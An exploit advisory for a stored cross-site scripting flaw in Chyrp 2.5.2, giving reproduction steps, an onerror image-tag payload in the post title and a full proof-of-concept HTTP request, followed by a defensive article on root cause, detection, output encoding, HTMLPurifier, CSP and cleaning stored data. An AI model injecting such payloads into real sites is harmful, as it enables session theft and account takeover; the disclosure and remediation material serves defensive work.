Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS)
# Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS)
# Date: 2024-04-24
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://github.com/chyrp/
# Software Link: https://github.com/chyrp/chyrp/archive/refs/tags/v2.5.2.zip
# Version: 2.5.2
# Tested on: MacOS
### Steps to Reproduce ###
- Login from the address: http://localhost/chyrp/?action=login.
- Click on 'Write'.
- Type this payload into the 'Title' field: "><img src=x onerror=alert(
"Stored")>
- Fill in the 'Body' area and click 'Publish'.
- An alert message saying "Stored" will appear in front of you.
### PoC Request ###
POST /chyrp/admin/?action=add_post HTTP/1.1
Host: localhost
Cookie: ChyrpSession=c4194c16a28dec03e449171087981d11;
show_more_options=true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=---------------------------28307567523233313132815561598
Content-Length: 1194
Origin: http://localhost
Referer: http://localhost/chyrp/admin/?action=write_post
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="title"
"><img src=x onerror=alert("Stored")>
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="body"
<p>1337</p>
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="status"
public
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="slug"
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="created_at"
04/24/24 12:31:57
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="original_time"
04/24/24 12:31:57
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="trackbacks"
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="feather"
text
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="hash"
11e11aba15114f918ec1c2e6b8f8ddcf
-----------------------------28307567523233313132815561598-- Chyrp 2.5.2 — Stored Cross‑Site Scripting (XSS): Analysis, Impact, and Remediation
This article documents a stored cross‑site scripting (XSS) vulnerability discovered in Chyrp 2.5.2, explains the root cause and practical impact, and provides defensive guidance for development, operations, and incident response teams. The focus is mitigation, safe remediation, detection, and hardening recommendations that prevent similar issues in web applications.
Summary
Chyrp 2.5.2 contains a stored XSS vulnerability in user‑editable content (notably fields such as the post title). Malicious HTML or script content that is saved to the application database can be rendered into pages and executed in browsers of administrators or site visitors. Stored XSS can lead to session theft, account compromise, content injection, or supply‑chain style attacks for logged‑in users.
Root cause
- Untrusted input (user-submitted title/body) is persisted and later rendered without appropriate output encoding or sanitization for the HTML context.
- Application templates render raw fields directly into HTML page markup (e.g., inside element content or attributes) rather than using context‑aware escaping functions.
- Where HTML is expected (e.g., body with limited markup), there is no robust whitelist sanitizer to remove dangerous elements or attributes (event handlers, javascript: URIs, etc.).
Impact
- When an attacker stores script-bearing content that is later displayed to other users, it executes in victims’ browsers with the site’s origin privileges.
- Potential consequences include cookie theft (if cookies are not HttpOnly), CSRF escalation, persistent defacement, and further account takeover for logged‑in users.
- Stored XSS is especially severe for administrative interfaces because it can allow privilege escalation if administrators view malicious posts or management screens.
High‑level reproduction (non‑actionable)
- Authenticate to the application as a user who can create posts.
- Submit a post where a normally text field contains HTML/script content and publish it.
- When the published post is viewed, the injected content is interpreted and executed by the browser.
Detection and testing
When investigating whether an instance is vulnerable or has been exploited:
- Use automated scanners (OWASP ZAP, Burp Suite) to detect reflected and stored XSS vectors. Look for script execution in stored fields such as title, excerpts, or meta fields.
- Search the database for suspicious patterns: HTML tags, event attributes (onerror, onclick), or javascript: URIs in fields that are expected to be plain text.
- Examine logs and access patterns for unusual requests that create content and the requestor identities (IP, user agent, authenticated user ID).
- Monitor content‑rendering pages for inline script loads or unexpected DOM modifications using Content Security Policy (CSP) violation reports.
Remediation and secure coding guidance
Fixing stored XSS requires a combination of input handling (where appropriate), output encoding, and selective sanitization for HTML content. Favor output encoding as the primary defense.
1) Output encoding (primary defense)
Never inject untrusted data directly into HTML without escaping for the specific context (element content, attribute, JavaScript, CSS, URL). In PHP templates, use a proper HTML-escaping function when rendering user data.
<?php
// Safe rendering of a title into element content:
echo htmlspecialchars($title, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
?>
Explanation: htmlspecialchars converts characters like <, >, &, and quotes into HTML entities so any user-supplied markup is rendered as text rather than being parsed as HTML. Use ENT_SUBSTITUTE to avoid invalid byte sequences, and explicitly set UTF-8.
2) Sanitization for fields that intentionally allow limited HTML
If the application allows rich text (post body), use a robust whitelist sanitizer that removes dangerous tags/attributes while preserving safe markup. Do not rely on strip_tags() alone; it does not remove dangerous attributes such as event handlers.
// Example: Using HTMLPurifier (defensive example)
require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,strong,em,a[href],ul,ol,li,br,img[src|alt|width|height]');
$config->set('URI.SafeIframeRegexp', '%^(https?:)?//(www.youtube.com|player.vimeo.com)/%');
$purifier = new HTMLPurifier($config);
$clean_body = $purifier->purify($raw_body);
Explanation: HTMLPurifier applies a whitelist policy, removes inline event handlers and javascript URIs, and normalizes markup. Configure its allowed tags and attributes to match your application’s needs.
3) Strip or normalize titles and small text fields
For fields like "title" which are generally plain text, treat them as plain text server‑side: strip HTML entirely and enforce length and character policies.
// Normalize and validate a title
$title = trim($title_input);
$title = strip_tags($title); // remove HTML entirely
if (mb_strlen($title, 'UTF-8') > 255) {
$title = mb_substr($title, 0, 255, 'UTF-8');
}
$title = htmlspecialchars($title, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
Explanation: strip_tags removes tags; then htmlspecialchars ensures any residual characters are encoded. Also enforce maximum length to reduce attack surface.
4) Content Security Policy (CSP)
Implement a conservative CSP to reduce impact of any injected scripts. A sample header that prevents inline scripts:
// Example CSP header (send via webserver or application)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
Explanation: CSP limits allowed script sources and blocks inline scripts by default. It is a powerful mitigation but not a substitute for proper escaping/sanitization.
5) Cookie hardening and session security
- Set HttpOnly and Secure flags on session cookies to prevent easy theft via script access.
- Use SameSite=Lax or Strict where compatible with application flows to reduce CSRF risk.
Remediation workflow and operational recommendations
- Upgrade: Check vendor repositories or project releases for patches; prioritize upgrading to a version that includes the fix.
- Patch: If an official patch is available, deploy it to test, then to production following normal change control.
- Sanitize stored content: Create a one‑time migration that converts stored fields (titles, excerpts) to safe forms (strip HTML, re-encode). Back up the database first and validate the migration on staging.
- Hardening: Add escape functions and HTML sanitizers to templates and centralize rendering logic so all outputs pass through a small set of safe helpers.
- WAF rules: As an interim protective layer, apply WAF signatures to block requests containing suspicious payloads in fields that should be plain text. Do not rely on WAF as the primary fix.
- Testing: Add unit tests and integration tests asserting that output is escaped in templates. Add regression tests for any sanitizers or whitelists.
Example database sanitization script (defensive)
<?php
// Pseudocode example: sanitize title column for all posts
// WARNING: run on staging first and back up DB.
$db = new PDO($dsn, $user, $pass, $options);
$stmt = $db->query('SELECT id, title FROM posts');
$update = $db->prepare('UPDATE posts SET title = :title WHERE id = :id');
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
$clean = strip_tags($row['title']);
$clean = trim($clean);
// Optionally further normalize whitespace and length
$clean = mb_substr($clean, 0, 255, 'UTF-8');
$safe = htmlspecialchars($clean, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
$update->execute([':title' => $safe, ':id' => $row['id']]);
}
?>
Explanation: This script iterates stored posts, strips HTML from titles, normalizes them, and updates the database with escaped values. Always test and maintain backups before modifying persisted content.
Detection and incident response
- If you suspect exploitation, identify when malicious content was created and which accounts performed the action. Rotate credentials for compromised accounts and invalidate sessions if necessary.
- Audit access logs to determine who viewed the malicious content and whether sensitive actions were performed from affected sessions.
- Notify impacted users and take corrective measures: content removal, session invalidation, password resets for compromised accounts, and a public disclosure if required by policy/regulation.
Checklist for developers and site owners
- Ensure all user content that is rendered into HTML is properly encoded for the rendering context.
- Use HTML sanitizers for intentionally allowed HTML; configure them with a strict whitelist.
- Apply CSP and cookie hardening headers.
- Scan existing content for suspicious markup and remediate stored data safely.
- Keep frameworks, libraries, and the application itself up to date and subscribe to vendor security advisories.
- Add automated tests to prevent regressions and include XSS test cases in CI pipelines.
References & further reading
- OWASP XSS Prevention Cheat Sheet — practical escaping and sanitization guidance.
- HTMLPurifier documentation — how to use a robust HTML sanitizer in PHP projects.
- Content Security Policy (CSP) documentation — designing a policy to reduce risk from script injection.